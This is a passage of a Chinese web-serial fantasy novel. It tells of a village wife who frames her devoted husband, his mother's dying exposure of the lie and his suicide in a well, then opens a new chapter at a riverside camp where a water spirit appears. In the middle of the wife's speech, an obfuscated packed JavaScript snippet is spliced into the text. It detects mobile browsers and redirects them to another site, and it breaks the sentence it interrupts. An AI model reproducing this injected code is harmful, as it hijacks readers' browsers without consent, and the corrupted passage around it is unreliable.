玉娘披头散发,衣衫不整地坐在地上哭嚎。她今天穿的是件月白色的衫子,此刻沾满了泥污,领口被扯开,露出脖颈和肩膀上更加触目惊心的伤痕——新伤叠旧伤,青紫红肿,有的地方甚至破皮渗血。 而罗青站在她面前,脸色铁青,拳头攥得死紧,手背上青筋暴起。他脚边扔着一把沾血的柴刀,刀口还粘着几根牛毛。 “大家看看!看看这个畜生!”玉娘尖声哭喊,指着罗青,“他昨夜又去杀牛了!被我撞见,就要杀我灭口!你们看我这伤——都是他打的!他还掐我脖子,差点掐死我!” 围观的村民脸色极其难看。 几个年长的汉子蹲下身,检查那把柴刀。刀刃上的血迹已经发黑,但浓烈的血腥味还未散尽。一个花白胡子的老者捡起刀,凑到鼻尖闻了闻,脸色骤变:“是牛血!” 人群哗然。 “罗青!你真的杀牛了?!” “咱们村祖祖辈辈的规矩,你都忘了?!” “杀牛者填煞井——这是祖宗立下的铁律!” 罗青浑身颤抖。他想辩解,嘴唇哆嗦着,却一个字也说不出来。他的目光扫过人群,扫过那些曾经一起放牛、一起喝酒的乡亲,扫过他们脸上毫不掩饰的愤怒与鄙夷,最后落在了九如身上。 那眼神里有求救,有绝望,还有一种近乎崩溃的哀求。 仿佛在说:别说出来……求求你…… “我没有……”罗青终于挤出声音,嘶哑得像破锣,“这刀……不是我的……” “不是你的?!”玉娘尖叫着爬起来,从怀里掏出一样东西——是块沾血的帕子,她抖开,上面绣着个歪歪扭扭的“罗”字,“这是从你怀里掉出来的!你用它擦刀上的血!罗青,证据确凿,你还想抵赖?!” 那帕子确实是罗青的。昨日在茶馆,九如见他用同样的帕子擦过汗。 罗青的脸色彻底白了。 他看着玉娘,看着那张曾经温婉动人、此刻却扭曲如恶鬼的脸,眼神里最后一丝温情也熄灭了,只剩下冰冷的、彻骨的绝望。 “玉娘……”他喃喃道,“你就这么恨我?” “恨你?”玉娘泪如雨下,声音却字字诛心,“我恨你打我!恨你虐待我!恨你作孽杀牛,连累我们全家!罗青,我嫁给你三年,没过过一天好日子!如今你还想杀我灭口——乡亲们,你们要为我做主啊!” 她扑通跪下来,朝着围观的村民磕头,额头撞在碎石地上,砰砰作响,很快就磕出了血。 人心都是肉长的。玉娘本就生得美,此刻哭得梨花带雨,额头带血,模样凄惨至极。几个心软的妇人已经跟着抹泪,男人们虽然碍于村规不好表态,但眼神里的天平已经彻底倾斜。 “罗青,”那花白胡子老者叹了口气,语气沉重,“你还有什么话说?” 罗青闭上眼睛。 良久,他睁开眼,眼神已经空了。 “我认。”他说,声音平静得可怕,“刀是我的。牛……是我杀的。” 人群炸开了锅。 “他真的认了!” “杀牛啊……这可是要填煞井的大罪……” “罗青他娘怎么办?老人家还瘫在床上……” “能怎么办?按规矩办!” 玉娘嘴角几不可察地勾起一丝弧度。她抬头,泪眼朦胧地看向九如,眼神里闪过一丝得意——转瞬即逝,又变成凄楚:“公子……你们都听见了……他认了……求公子为我做主,带我离开这个鬼地方……” 芒种已经哭成了泪人。她抓着九如的袖子,声音哽咽:“九如哥哥……玉娘姐姐太可怜了……我们带她走吧……她留在这里,会被打死的……” 九如没有说话。 他看着罗青。那个高大的汉子此刻佝偻着背,像一夜之间老了十岁。他认下了所有罪名——家暴,杀牛,甚至“试图杀妻灭口”。可九如记得昨日在巷子里,他红着眼圈说“她是我媳妇……我念在夫妻情分”的模样。 也记得他说“她每隔几天,就要喝血”时的恐惧。 真相到底是什么? “等等。” 开口的是白砚。 他走出人群,来到罗青面前,伸手捏住罗青缠着布条的手臂。布条被解开——伤口果然已经化脓,边缘红肿溃烂,散发出腐臭。但白砚看的不是伤口,而是伤口旁边的皮肤。 那里有几个细小的、已经结痂的齿痕。 不像是牛角顶的,倒像是……人咬的。 白砚眼神一凝,看向玉娘。 玉娘脸色微变,但很快又哭起来:“那是我咬的!昨夜他掐我脖子,我挣扎时咬的!公子,您要为我做主啊……” 白砚松开手,转身看向九如,轻轻摇头。 意思很明白:没有确凿证据。 罗青认了罪,玉娘有伤有证据,村民的愤怒已经被点燃。此刻再多说什么,只会让局面更加混乱。 “按村规!”花白胡子老者沉声道,“杀牛者,填煞井!罗青,你是自己走,还是我们绑你去?” 罗青惨笑:“我自己走。” 他转身,朝着村中央那口被封住的煞井走去。脚步踉跄,背影萧索,像一具被抽走灵魂的行尸。 人群自动分开一条道,像送葬的队伍,沉默而肃杀地跟在他身后。 玉娘还跪在地上,低声啜泣,肩膀一耸一耸。芒种想去扶她,却被烈风煌一把拽住。 “别去。”烈风煌声音冰冷,“这女人不对劲。” 芒种挣扎:“可是玉娘姐姐……” “你仔细看她的眼睛。”白砚低声道,“哭得那么凶,眼底却没有泪光——她在干嚎。” 芒种愣住。 她看向玉娘。果然,玉娘虽然哭得声嘶力竭,脸上泪水涟涟,可那双浅褐色的眼睛在泪光掩盖下,瞳孔深处依然清明冷静,甚至……带着一丝计谋得逞的畅快。 “怎么会……”芒种喃喃。 就在这时,一个苍老嘶哑的声音从人群后方传来: “等——等——” 人群骚动起来,自动让开一条更宽的通道。 一个瘦小佝偻的老妇人,被两个年轻妇人搀扶着,颤颤巍巍地走了过来。她年纪很大了,满头银丝稀疏,脸上皱纹深得能夹死蚊子,眼睛浑浊,但眼神却异常坚定。她穿着一身洗得发白的蓝布衫,手里拄着一根磨得油亮的拐杖,每一步都走得很艰难,仿佛随时会倒下。 正是罗青的老娘——罗王氏。 “娘!”罗青猛地回头,声音嘶哑,“您怎么出来了?!您的身子——” “我不出来,我儿子就要被人冤死了!”罗王氏打断他,声音虽然虚弱,却字字清晰。她走到人群中央,拐杖重重一顿,浑浊的眼睛扫过在场的每一个人,最后落在了玉娘身上。 那眼神像淬了冰的刀子。 玉娘脸色一白,哭声戛然而止。 “玉娘,”罗王氏缓缓开口,“我儿待你如何?” 玉娘嘴唇哆嗦:“婆婆……相公他……他待我……” “待你如珠如宝!”罗王氏替她说了,声音陡然拔高,“三年前你从山外来,病得只剩一口气,是我儿跪了三天三夜,求巫师救你!巫师说,要救你,需以牛煞之血为引——那是要用活牛心头血做药引的大祭!我儿为了你,破了祖宗规矩,杀了第一头牛!” 人群哗然。 原来罗青杀牛,是从三年前就开始的? “你病好了,却落下怪疾,需定期饮牛血才能活命。”罗王氏继续说,每个字都像砸在玉娘心上的石头,“我儿为了你,一次又一次去后山杀牛——杀那些病牛、老牛,从不敢动壮牛!每次杀完,他都跪在牛坟前磕头赔罪,一跪就是一夜!这些,你知道吗?!” 玉娘脸色惨白如纸,嘴唇哆嗦着,却说不出话。 “你不知道!”罗王氏声音颤抖,拐杖指着玉娘,“因为你只顾着自己!你病好后,性情大变,好吃懒做,对我这个瘫老婆子虚情假意,背地里却把脏活累活都推给我!我儿为了维护你,从不说你半句不是,宁可自己多干一份活!可你呢?你变本加厉,索要的牛血越来越多,逼得我儿不得不更频繁地杀牛——直到一个月前,他失手杀了一头壮牛,被村里人察觉!” 真相,像剥洋葱一样,一层层揭开。 每一层,都辣得人眼睛发酸。 “你怕事情败露,就抢先一步,诬陷我儿家暴!”罗王氏老泪纵横,“你身上的伤,有些是他推搡时留下的,但更多——更多是你自己弄的!用石头砸,用指甲掐,就为了逼真!昨夜我亲眼看见,你在自己脖子上掐出淤青,就为了今日这场戏!” 人群死一般寂静。 所有人都看着玉娘。那些曾经同情她、为她流泪的妇人,此刻眼神里充满了震惊、愤怒和被愚弄的羞辱。 玉娘瘫坐在地,浑身发抖。她还想辩解,可罗王氏从怀里掏出了一样东西——是几块染血的碎布,还有一截断裂的牛角。 “这些,是从玉娘枕头底下搜出来的。”罗王氏声音嘶哑,“碎布是她用来擦拭牛血、再故意弄到自己衣服上伪装的。牛角……是她留着,准备万一事情败露,用来诬陷我儿‘用牛角刺伤她’的证据!” 铁证如山。 玉娘脸上的血色彻底褪尽。她张了张嘴,想说什么,却只发出一声短促的、像被掐住脖子的“嗬”声。 “我儿为了你,背负杀牛的罪名,被全村人唾弃。”罗王氏泪流满面,“我这个当娘的,瘫在床上三年,无力为他辩解,只能眼睁睁看着他被你拖进深渊……昨夜我知道他又要去‘埋尸’,怕他再出事,偷偷跟出去……结果劳累过度,晕倒在半路,被早起放牛的李家小子发现,才捡回一条老命……” 她说到这里,忽然剧烈咳嗽起来,咳得佝偻的身子像虾米般蜷缩,脸色青紫。搀扶她的两个妇人连忙拍背顺气,可罗王氏越咳越凶,最后“哇”地吐出一口黑血,身子一软,向后倒去。 “娘——!”罗青目眦欲裂,扑过来接住母亲。 罗王氏倒在他怀里,气息微弱,眼神却依旧死死盯着玉娘。她伸出枯槁的手,抓住罗青的衣袖,用尽最后力气说: “儿啊……娘对不住你……没能护住你……” “这女人……留不得……她不是人……是吸血的怪物……” “你要……好好活着……” 话音未落,手已垂下。 眼睛,永远闭上了。 “娘——!!!” 罗青的哀嚎撕心裂肺,像受伤的野兽。他抱着母亲渐渐冰冷的身体,跪在地上,浑身颤抖,眼泪混着鼻涕糊了一脸。这个高大的汉子,此刻哭得像一个被全世界抛弃的孩子。 围观的村民沉默了。 那些愤怒、鄙夷、指责的眼神,此刻变成了复杂的情绪——有震惊,有愧疚,有同情,也有深深的后怕。 玉娘还瘫坐在地上,一动不动。她低着头,长发遮住了脸,没人看得清她的表情。但她的肩膀在微微颤抖——不是哭,倒像是在……笑? 芒种已经彻底傻了。 她呆呆地看着眼前的一切,看着罗青抱着母亲的尸体痛哭,看着玉娘那诡异的姿态,看着村民们沉默而尴尬的脸。她想起自己昨天递给玉娘的手帕,想起自己为玉娘流的眼泪,想起自己求九如“带她走”…… 原来,她一直在帮一个吸血的怪物,去陷害一个默默承担一切的丈夫? “怎么会……”芒种喃喃,眼泪无声地流下来,“怎么会这样……” 白砚轻轻拍了拍她的肩,没有说话。 烈风煌抱着胳膊,冷眼看着这一切,嘴角勾起一丝嘲讽的弧度——不知是在嘲讽玉娘,还是在嘲讽轻易被表象蒙蔽的人心。 九如站在人群边缘,沉默地看着。 他想起了守渊者。 想起了那个曾经悲悯众生、最终却堕落成食人怪物的自己。 人性之恶,有时候并不需要外在诱惑。一点私欲,一点恐惧,一点对“活下去”的执着,就足以让人变成怪物。 玉娘是为了活命。 守渊者当年,也是为了“不失明”。 多么相似。 “玉娘。”九如终于开口,声音平静,却带着一种穿透喧嚣的力量,“你还有什么话说?” 玉娘缓缓抬起头。 散乱的长发下,那张脸依然美艳,只是此刻没有了泪水,没有了凄楚,只剩下一种冰冷的、非人的平静。她浅褐色的瞳孔深处,那丝红芒此刻清晰可见,像两簇跳动的鬼火。 “说什么?”她开口,声音嘶哑,却异常清晰,“说我为了活命,不得不喝牛血?说我怕事情败露,所以先发制人诬陷丈夫?还是说……我根本控制不住自己,每次喝血之后,都会变得更贪婪、更冷血?” 她笑了。笑容很美,却让人脊背发寒。 “你们知道每天活在‘随时会死’的恐惧里,是什么感觉吗?”玉娘慢慢站起来,拍了拍身上的土,“三年前那场大病,早就该要了我的命。是罗青用牛煞之血把我从鬼门关拉回来——可他也把我变成了怪物。我需要血,越来越多的血。牛血只能续命,不能根治。我想活,有什么错?” “所以你就陷害他?”一个村民忍不住质问,“他为了你破了祖宗规矩,杀了那么多牛,背负那么多罪孽——你就这么报答他?!” “报答?”玉娘嗤笑,“是他自愿的。他爱我,爱到可以为我做任何事——包括去死。我只是……想活下去而已。” 她说得如此理所当然,如此理直气壮,让所有人都愣住了。 “你……”罗青抬起头,泪痕满面,眼神空洞地看着她,“你真的……从未爱过我?” 玉娘沉默良久。 然后她说:“爱过。在病好之前,在你还是那个会给我摘野花、会笨手笨脚给我熬药的罗青时,爱过。” “但后来呢?”罗青声音嘶哑,“后来我为了你杀牛,为了你撒谎,为了你被全村人唾弃——这些,都不算爱吗?” “算。”玉娘点头,眼神却冰冷,“可你的爱太沉重了。沉重到让我喘不过气。每次看你跪在牛坟前磕头,每次看你手臂上添新伤,每次听你半夜做噩梦喊‘别杀我’——我都觉得,我不是被爱着,我是被你的‘牺牲’绑架了。” 她顿了顿,嘴角勾起一丝讥诮的弧度:“所以我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109784|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,既然已经成了怪物,那就彻底一点吧。诬陷你,赶走你,我就能解脱了。只是没想到……你娘会死。” 她说得轻描淡写,仿佛在说今天天气不错。 罗青呆呆地看着她,看了很久很久。然后,他忽然笑了。 笑声很低,很哑,像从破裂的风箱里挤出来的。 “原来如此。”他说,“原来我这些年做的一切……在你眼里,只是绑架。” 他慢慢放下母亲的尸体,小心翼翼地平放在地上,替她整理好衣襟,拂去脸上的尘土。然后他站起来,看向花白胡子老者: “三叔公,按村规,杀牛者填煞井。我认。” 老者嘴唇哆嗦:“罗青,现在真相大白了,你……你可以……” “不。”罗青摇头,“我确实杀了牛。破了祖宗规矩,就该受罚。只是……”他看向母亲的尸体,眼圈又红了,“我娘……求三叔公和乡亲们,把她和我爹合葬。墓碑上……不要写我的名字。我不配当他们的儿子。” 说完,他转身,朝着煞井的方向走去。 脚步依然踉跄,但这一次,背挺得笔直。 “罗青!”玉娘忽然喊了一声。 罗青停住,没有回头。 玉娘咬了咬嘴唇,声音低了下来:“如果……如果重来一次,你还会救我吗?” 罗青沉默良久。 然后他说:“会。” “为什么?”玉娘声音颤抖。 “因为那天你躺在病床上,抓住我的手说‘相公,我不想死’的时候,我放不下。”罗青缓缓道,“那时的你,值得我救。” 他顿了顿,声音更低:“只是我没想到……救活了你,已经不是你了。” 说完,他继续往前走,再也没有回头。 玉娘站在原地,呆呆地看着他的背影,看着他在村民复杂的目光中,一步步走向那口象征着死亡与惩戒的煞井。 忽然,她腿一软,跌坐在地。 这一次,眼泪真的流了下来。 她终于意识到,她失去了什么。 可一切都晚了。 芒种看着这一切,眼泪流得更凶。她抓住九如的袖子,声音哽咽:“九如哥哥……我们……我们是不是做错了?如果我们昨天就揭穿玉娘,罗大娘就不会死,罗青也不会……” 九如没有回答。 他看着罗青远去的背影,看着玉娘瘫坐在地的狼狈,看着村民们沉默的羞愧,看着芒种满脸的泪水。 他想起了守渊者在黄泉路上说的那句话: “人心不是从我这聚的,也不会从我这散。” 帮助他人,从来不是简单的对与错。 有时候,善意会成就善果。 有时候,善意会酿成悲剧。 而他们这些行走在世间的人,能做的,或许只是在每一次选择前,尽量看清真相,然后……承担选择的后果。 无论那后果是什么。 远处,煞井的方向传来沉重的石板挪动声。 接着是水花溅起的闷响。 然后,一切归于寂静。 牛铃依旧叮当着。 风依旧呜咽着。 只是这个叫牛煞村的地方,从此少了一个为爱杀牛的汉子,多了一口填了人的煞井。 和一个永远活在忏悔里的吸血媳妇。 当夜,罗青的尸首被村民从煞井里打捞上来。 他没有填井——井太深,他跳下去后,村民终究不忍,用绳索和钩子花了两个时辰把他捞了上来。人已经没气了,浑身冰凉,眼睛睁着,望着灰蒙蒙的天空,眼神空洞。 按照村规,他本该被抛尸荒野。但三叔公最终拍板:把他和他娘合葬,就葬在他爹旁边。墓碑上,还是刻了他的名字——罗青,孝子。 玉娘被绑了起来,关在村祠堂的地窖里。村民们议论纷纷,有的说要烧死她,有的说要赶她出村,还有的说要按“处置妖邪”的规矩,把她沉塘。 但最终,没有人动手。 因为当天夜里,地窖的门锁被人撬开了。 玉娘跑了。 没人知道她去了哪里。有人说是罗青的鬼魂放了她,有人说是外乡人干的,还有人说她根本不是人,化作一阵风就消失了。 只有九如他们知道真相。 撬锁的是芒种。 这个善良到近乎天真、刚经历了一场信念崩塌的少女,在深夜偷偷摸到祠堂,用一根铁丝撬开了地窖的门锁。她站在地窖口,看着里面蜷缩在角落、狼狈不堪的玉娘,眼泪又流了下来。 “你走吧。”芒种哑声道,“走得越远越好,别再害人了。” 玉娘抬起头,借着月光看着芒种。她脸上没有了白天的艳丽,只剩下憔悴和苍白。她沉默良久,才问:“为什么救我?我骗了你,利用了你。” “因为……”芒种擦了擦眼泪,“因为罗青到死都说,他还会救你。如果他还活着,一定不希望看到你死。” 玉娘怔住了。 然后,她笑了。笑容很苦,很涩。 “替我谢谢他。”她说,“也……对不起。” 她站起来,踉踉跄跄地走出地窖,消失在浓重的夜色里。 芒种站在原地,看着她的背影消失,眼泪止不住地流。 她不知道自己做得对不对。 她只知道,如果让玉娘死在这里,她一辈子都不会安心。 第二天清晨,九如一行人离开了牛煞村。 没有人送行。村民们还沉浸在昨日的悲剧里,沉默而压抑。只有那个驼背老汉站在茶馆门口,看着他们远去,浑浊的眼睛里闪过一丝复杂的光。 四人沿着山路继续北行。 气氛很沉闷。 芒种一直低着头,不说话。白砚和烈风煌也各自沉默。九如走在最前面,承影剑挂在腰间,剑柄被他握得很紧。 走出三里地,翻过一个山坡,牛煞村彻底消失在视线里。 芒种忽然停下脚步,抬起头,泪眼朦胧地看着九如: “九如哥哥……” “我们真的帮错了吗?” 九如转身,看着她。 这个从桃花村一路跟来的少女,经历了活人献祭,经历了黑塔轮回,经历了白骨岛屠杀,经历了黄泉路真相,如今又经历了一场因“善意”而酿成的悲剧。 她开始怀疑了。 怀疑善良的意义,怀疑帮助他人的价值。 九如沉默良久。 然后他走到芒种面前,蹲下身,与她平视。 “芒种,”他说,声音很轻,“你还记得在桃花村,你被绑在祭坛上时,心里在想什么吗?” 芒种愣了一下,然后点头:“想……想有人来救我。” “如果当时有人路过,看见你要被献祭,却因为‘怕帮错’‘怕惹麻烦’而选择离开,”九如问,“你会恨他吗?” 芒种摇头:“不会……但我会很绝望。” “所以,”九如伸手,轻轻擦去她脸上的泪水,“帮助他人,从来不是错。错的,是我们有时候太轻易相信表象,没有看清真相就贸然行动。” 他顿了顿,看向远方绵延的山峦:“但这不代表我们就要因为一次错误,就从此袖手旁观。我们要学的,不是‘不帮’,而是‘如何正确地帮’。” 芒种呆呆地看着他。 “就像罗青。”九如继续道,“他爱玉娘,愿意为她付出一切,这没有错。错的是,他的爱变成了纵容,纵容玉娘一步步堕落,纵容自己一次次破戒。到最后,爱变成了绑架,变成了互相毁灭。” “那我们……该怎么正确地帮?”芒种小声问。 九如站起来,望向北方——那是扶风城的方向,也是深渊之门可能存在的方向。 “先看清真相。”他说,“再量力而行。能救则救,不能救……至少不要让自己成为悲剧的一部分。” 芒种似懂非懂地点点头。 白砚走过来,拍了拍她的肩:“走吧。路还长。” 烈风煌已经走到前面去了,回头不耐烦道:“磨蹭什么?再不赶路,天黑前到不了下一个歇脚处!” 四人重新上路。 阳光从云层缝隙里透出来,照在山路上,将他们的影子拉得很长。 芒种回头,最后看了一眼牛煞村的方向。 那里已经看不见了,只有苍茫的山色,和天空中盘旋的几只黑鸦。 她转回头,跟上同伴的脚步。 眼泪已经干了。 但心里的某个地方,有什么东西,永远地改变了。 而此时,在牛煞村后山的密林深处。 玉娘靠在一棵老树下,喘着粗气。她跑了一夜,又累又饿,喉咙干得冒烟。更重要的是——对血的渴望,又涌了上来。 像无数只蚂蚁在血管里爬,啃咬着她的理智。 她看着自己的手,指甲不知何时又变长变尖了,在晨光里泛着冰冷的寒光。 远处传来牛铃声。 有早起的村民赶牛上山吃草。 玉娘舔了舔干裂的嘴唇,浅褐色的瞳孔深处,那丝红芒又开始跳动。 像鬼火。 像欲望。 像永远填不满的深渊。 她站起来,朝着牛铃的方向,踉踉跄跄地走去。 背影消失在晨雾里。 像一滴墨,融进了更浓的黑暗。 20. 溪畔夜魅辨真伪 牛煞村那场惨剧之后,队伍里的气氛明显不同了。 芒种不像从前那样爱说爱笑,常常走着走着就发起呆来,眼神空茫地望着远方山峦。烈风煌依旧寡言,但偶尔看向芒种时,那双惯常冷冽的深褐色眼睛里,会闪过一丝极淡的、连他自己都未必察觉的担忧。白砚则更加沉默,反噬魂咒已蔓延至肩胛,疼痛发作时他额角青筋隐现,却从不出声,只在无人注意时攥紧袖口,指节捏得发白。 只有九如,看似与往常无异——依然走在最前,依然会在日落前寻找合适的歇脚处,依然平静地应对路上一切变故。但若细看,会发现他按在承影剑柄上的手,指节总是微微绷紧,仿佛随时准备拔剑。那双眼睛里沉淀的东西,也比从前更深、更沉了。 守渊者的记忆像刻进骨髓的烙印,每一次呼吸都带着血腥的余味。而牛煞村的悲剧,又给他添了新的困惑——关于“帮助”与“干涉”之间那道模糊的界限。 所以当第四日傍晚,他们翻过一道山梁,看见山下蜿蜒的溪流和溪畔那片平坦草地时,就连烈风煌都难得地吐出一口气:“总算有条能喝的水了。” 这几日他们饮的都是山涧积水,带着土腥气。眼前这条溪流清澈见底,在夕阳下泛着碎金般的光泽,水声淙淙,像温柔的絮语。溪边生着茂密的芦苇,晚风一过,苇穗摇曳如浪。 “今夜就在此歇息吧。”九如说着,率先走下斜坡。 芒种眼睛亮了亮,小跑着跟上。她在溪边蹲下,掬起一捧水洗脸,清凉的水珠溅在脸上,她终于露出几日来第一个浅浅的笑容:“水好清……” 烈风煌哼了一声,却也在溪边坐下,脱下沾满泥污的靴子,将脚浸入水中。冰凉的溪水漫过脚踝,她舒服地眯起眼,但手始终按在刀柄上——这是多年养成的习惯,无论多放松,武器必须在触手可及之处。 白砚没有碰水。他选了溪畔一块平整的青石坐下,从怀中取出个小巧的皮囊,倒出些暗绿色的药粉在掌心,又混了些溪水调成糊状,小心地敷在左臂魂咒蔓延处。药糊触及皮肤,发出轻微的“滋滋”声,白烟冒起,他眉头微蹙,却一声不吭。 九如卸下行囊,环顾四周。溪流在此处拐了个弯,形成一片浅滩,水底铺满圆润的卵石。芦苇丛中惊起几只水鸟,扑棱棱飞向渐暗的天空。远处山林传来归巢的鸟鸣,一声声,悠长而寂寥。 是个安营的好地方。 他从行囊里取出火折子,在滩边捡拾干枯的芦苇秆和岸上掉落的松枝,堆成一小堆,点燃。火焰起初很弱,在晚风中摇曳,渐渐燃旺,橘黄的火光驱散了暮色,也驱散了连日来压在心头的那股阴郁。 “我去找些吃的。”九如起身,目光扫过溪面——清澈的水中,能看见几尾银灰色的小鱼游弋,不大,但总比干粮强。 烈风煌从水里抬起脚,随意甩了甩水珠:“我跟你去。” “不用。”九如摇头,“你守着火,别让芒种靠近水太深的地方。” 他说着,已经挽起裤脚,踩进溪水中。水很凉,激得皮肤一紧。他折了根粗细合适的芦苇杆,用随身的小刀削尖一端,站在浅滩处,凝神静气。 夕照最后的余晖斜斜洒在水面上,将那几尾小鱼照得鳞片闪闪。九如屏住呼吸,手腕微动—— “嗖!” 芦苇杆如箭射出,穿透水面,精准地刺中一尾鱼。鱼挣扎着,水花四溅。九如提起苇杆,鱼在尖端扑腾,银鳞在火光中闪烁。 芒种拍手:“好厉害!” 九如嘴角微扬,将鱼扔到岸上,又如法炮制,接连刺中三尾。烈风煌看着,挑了挑眉,虽没说话,眼神里却多了几分认同——这一手看似简单,实则对眼力、腕力、时机的把握都要求极高。九如的剑术底子,果然不一般。 鱼不大,四条加起来也就两三斤重。九如上岸,用刀刮鳞去内脏,在溪水里洗净。芒种已经捡来几根较粗的直树枝,削去树皮,递给九如。 九如将鱼穿在树枝上,架在火堆旁烤。火焰舔舐鱼身,很快响起“滋滋”的油爆声,鱼皮渐渐变得金黄酥脆,鱼肉特有的鲜香混着烟火气弥漫开来。 芒种蹲在火堆边,双手托腮,眼睛一眨不眨地盯着烤鱼,喉头不自觉地滚动。这几日啃干粮啃得嘴里发苦,此刻闻到这香气,肚子立刻咕咕叫起来。 烈风煌原本靠在岸边一棵歪脖子树上闭目养神,这时也睁开眼,鼻子动了动,却还端着架子,故意别过脸去,装作不感兴趣的样子。 九如拿起一根烤得差不多的鱼,凑到鼻尖闻了闻——鱼肉焦香扑鼻,火候正好。他吹了吹热气,递给芒种:“好了,有点烫。” 芒种接过,忙不迭就要咬,刚碰到鱼皮就“啊”地一声缩回手,指尖被烫得发红。她不好意思地笑了,小心翼翼地吹了又吹,才小小咬了一口。 滚烫的鱼肉入口,鲜、嫩、香,混着炭火特有的焦香,瞬间在舌尖炸开。芒种眼睛都亮了,含糊不清地说:“好吃,好吃!” 她吃得急,嘴角沾了油花,烫得眼泪都出来了,却还是舍不得停下,一边吸气一边小口小口地啃。 烈风煌看着,喉结又滚动了一下。她终于忍不住,起身走过来,却还嘴硬:“烤得这么焦,能吃吗?” 九如头也不抬,继续翻动另外几串鱼:“嫌焦就别吃。” 烈风煌噎住,瞪了他一眼,却还是伸手去拿另一串。那串鱼还没完全烤好,鱼皮只是微黄。她悻悻地丢开手中的空树枝:“啧,给我也烤一个。” 芒种捂着嘴偷笑,眼睛弯成月牙:“刚刚还嫌弃呢,嘿嘿。” 烈风煌隔空送了个响指风——这是修罗道的小把戏,以煞气凝成气劲,无声无息。气劲轻轻击打在芒种眉心,“啪”的一声脆响,吹开她额前的碎发。 芒种“哎哟”一声,捂着额头,却不怕他,反而凑近些,讨好地笑道:“嘿嘿,烈姐姐也馋了?” 烈风煌板着脸,耳根却有点红:“叫风侠女!”她转头对九如催促:“快烤!” 九如摇了摇头,拿起另一根穿着鱼的树枝,继续架在火上。火光映着他的侧脸,那双总是平静的眼睛里,此刻也多了些暖意。这样寻常的、烟火气的时刻,对经历了太多血腥与诡异的他们来说,实在太难得了。 “白砚呢?”九如忽然问。 他刚才专心烤鱼,没注意白砚的去向。此刻环顾四周,只见那块青石上空空如也,只剩月光洒在石面上,泛着冷白的光。 烈风煌撇嘴:“谁知道,神神秘秘的。快烤你的鱼。” 九如不再多问,专心翻烤手中的鱼。鱼肉在火上渐渐变得金黄,油脂滴落火中,噼啪作响,香气更加浓郁。 月亮已经完全升起来了。不是满月,是弯弯的一钩,像美人蹙起的眉,清冷冷地挂在天边。月光洒在溪面上,将粼粼波光染成碎银。远处山林隐在夜色里,轮廓模糊,像蹲伏的巨兽。近处芦苇丛在晚风中沙沙作响,偶尔有夜鸟掠过,翅膀拍打的声音短暂而清晰。 溪水潺潺,火光暖暖,鱼香袅袅。 这片刻的安宁,像偷来的时光。 芒种已经吃完了一整条鱼,满足地舔了舔手指,又眼巴巴看向火上剩下的。烈风煌终于等到他那串烤好,接过来吹了吹,咬了一大口,烫得龇牙咧嘴,却还是硬撑着吞下去,含糊评价:“还行。” 九如笑了笑,拿起最后一串鱼,正要吃,目光却不由自主地投向溪水上游——白砚刚才坐的青石再往上游十几步,有块更大的岩石突出水面,像只蹲伏的巨龟。 岩石上,隐约有个身影。 是白砚。 他不知何时走到了那里,此刻正坐在岩石边缘,面朝溪水,背对着火堆。月光勾勒出他清瘦的背影,青色长衣的衣摆垂在水中,随波轻荡。他腰间那条五彩宝石腰带在月色下泛着幽微的光——那是阿尔默族传承的宝物,据说每颗宝石都蕴含着不同的咒术之力。 白砚一动不动,像一尊石像。只有衣摆在水流中微微飘动,证明那是个活人。 九如皱起眉。 他起身,拿着那半串烤鱼,朝白砚走去。溪边碎石硌脚,他走得很慢。离得近了,能看见白砚的侧脸——月光下,那张总是平静的脸此刻异常苍白,嘴唇紧抿,眼神盯着水面某处,专注得近乎诡异。 “白砚。”九如唤了一声。 白砚没有回应。 九如走到他身边,将烤鱼递过去:“你去哪了?鱼都快吃完了。” 白砚缓缓转过头。月光照在他脸上,九如这才看清,他额角有细密的冷汗,眼神深处有某种压抑的、近乎惊悸的东西。但很快,那情绪被惯常的平静掩盖了。 “没什么。”白砚接过烤鱼,声音有些哑,“就是……看看水。” 他说得轻描淡写,但九如注意到,他接烤鱼的手在微微颤抖。 就在这时,烈风煌也走了过来。他鼻子耸了耸,脸色忽然一变:“好浓的咒力——白砚,你碰到什么了?” 白砚闷不吭声,只是低头咬了一口烤鱼,咀嚼得很慢,仿佛在品味什么难以下咽的东西。 烈风煌还想追问,九如轻轻摇头。白砚若不想说,逼问也无用。 三人回到火堆边。芒种已经困了,小脑袋一点一点,强撑着不睡。九如从行囊里取出一件较厚的衣物,铺在火堆旁干燥的草地上,又折了些芦苇秆垫在下面,做了个简易的床铺。 “芒种,睡吧。”他温声道。 芒种揉揉眼睛,乖乖躺下。九如将另一件外衣盖在她身上,她很快就睡着了,呼吸均匀绵长。 烈风煌纵身一跃,跳到溪边一棵老树的横枝上,背靠着树干,闭目养神。这是他的习惯——睡在高处,视野开阔,若有危险能第一时间察觉。 白砚抱着胳膊,背靠树干坐在火堆旁。火光映着他苍白的脸,那双总是清明的眼睛此刻有些失焦,定定地望着跳跃的火焰,不知在想什么。 九如没有睡意。 他在火堆旁坐了一会儿,目光落在芒种枕边——那里放着一条浅绿色的披帛,是芒种从桃花村带出来的为数不多的东西之一。此刻披帛的一角沾了烤鱼的油渍,在火光下泛着腻光。 九如轻轻拿起披帛,走到溪边。 月光下的溪水格外清澈,能看见水底每一颗卵石的纹路。他在一块平坦的石头上蹲下,将披帛浸入水中。清凉的溪水漫过指尖,他掬起水,小心地搓洗油渍。 油渍很顽固,他洗得专注,没有注意到——在他身后几步远的水面下,有一道暗影正缓缓靠近。 那暗影起初很淡,像水草投下的影子。但渐渐凝实,化作一个模糊的人形轮廓,悄无声息地漂向岸边。 九如搓洗着披帛,忽然动作一顿。 他感觉到一道目光。 冰冷,黏腻,像水蛇爬过后颈。 他猛地抬头—— 水面倒映着弯月,波光粼粼。但在那碎银般的光点之间,他看见了一双眼睛。 就在他面前不到三尺的水面下,一双血红色的眼睛,正直勾勾地盯着他。 